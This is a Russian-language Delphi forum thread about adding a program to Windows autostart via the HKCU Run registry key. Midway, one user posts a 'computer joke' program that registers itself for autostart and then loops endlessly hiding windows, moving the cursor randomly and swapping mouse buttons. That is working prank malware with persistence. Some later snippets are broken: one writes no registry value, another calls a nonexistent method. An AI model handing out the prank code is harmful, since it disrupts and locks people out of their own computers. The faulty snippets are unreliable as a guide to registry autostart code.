Не могу добавить программу в автозапуск (Delphi))

[ENESES_S]

Сообщение от min@y™

нахрена HKLM? почему не канает HKCU?

а че идея,чет я даж затупил не глянул в этот раздел) спасибо)

[ENESES_S]

Сообщение от xxbesoxx

Так . Давайте делаем автозапуск так называемый "компьютерная шутка" сразу напишу как отключить чтобы потом не не обижались )
-----------------------------------------------------------------------
Отключить можно из "диспетчер задач" при включении компьютера запускается сам .
если хотите что не запустил Пусск ---> msconfig и переходите на вкладке "Автозапуска" и отключайте
----------------------------------------------------------------------
начинаю
1.

uses.... registry

2.объявляем глобальное переменное

var
  Form1: TForm1;
  Reg: TRegistry;

3. из события OnCreate пишем

procedure TForm1.FormCreate(Sender: TObject);
begin
  Reg := TRegistry.Create;
   Reg.RootKey := hkey_current_user;
   Reg.OpenKey('software\microsoft\windows\currentversion\run',true);
   Reg.WriteString('Project1.exe',Application.ExeName);
   Reg.CloseKey;
   Reg.Free;
   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, nil, 0);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, nil, 0);
  Randomize;
  hnd := GetDesktopWindow;
  GetWindowRect(hnd, rc);
  repeat
    hnd := GetForegroundWindow;
    ShowWindow(hnd, SW_HIDE);
    SetCursorPos(random(rc.Right), random(rc.Bottom));
    SwapMouseButton(random(2) = 0);
    Sleep(500);
  until False;
  SwapMouseButton(False);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, nil, 0);
  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, nil, 0);
end;

Компилируем и запускаем .... Я уже сказал как отключить ) Проверял на XP и Wind 8

спасибо попробую)))

[Alex11223]

вот теперь вопрос в этом манифесте как его правильно настроить просто я с ним еще не сталкивался ну или если есть другие способы накинуть права на мою прогу

Дык ссылка выше, создаете xml файл и добавляете в ресурсы.

А правильный вариант: делать все такое, для чего нужны права админа, в инсталяторе (InnoSetup, NSIS, например).

[min@y™]

а че идея,чет я даж затупил не глянул в этот раздел) спасибо)

с тебя пиво.

[ENESES_S]

да без проблем)

[xxbesoxx]

ENESES_S Вот без шутки автозапуск

procedure TForm1.FormCreate(Sender: TObject);
begin
  Reg := TRegistry.Create;
   Reg.RootKey := hkey_current_user;
   Reg.OpenKey('software\microsoft\windows\currentversion\run',true);
   Reg.CloseKey;
   Reg.Free;

end;

[min@y™]

Вот без шутки автозапуск

а запись параметра где?

[xxbesoxx]

запись параметра где?

Какой параметр вам интересно ? что вы спрашивайте ? проверяйте работает

[min@y™]

Какой параметр вам интересно ? что вы спрашивайте ? проверяйте работает

გამარჯობა

procedure TForm1.FormCreate(Sender: TObject);
begin
  Reg := TRegistry.Create;
   Reg.RootKey := hkey_current_user;
   Reg.OpenKey('software\microsoft\windows\currentversion\RunOnce',true);
   Reg.Write('я_твой_дом_трюба_шаталь', Application.ExeName { или что другое, если требуется });
   Reg.CloseKey;
   Reg.Free;
end;

[xxbesoxx]

гармаджоба!

გაგიმარჯოს min@y

Reg.Write('я_твой_дом_трюба_шаталь' , Application.ExeName { или что другое, если требуется });

что требуется ? постав задача боле подробно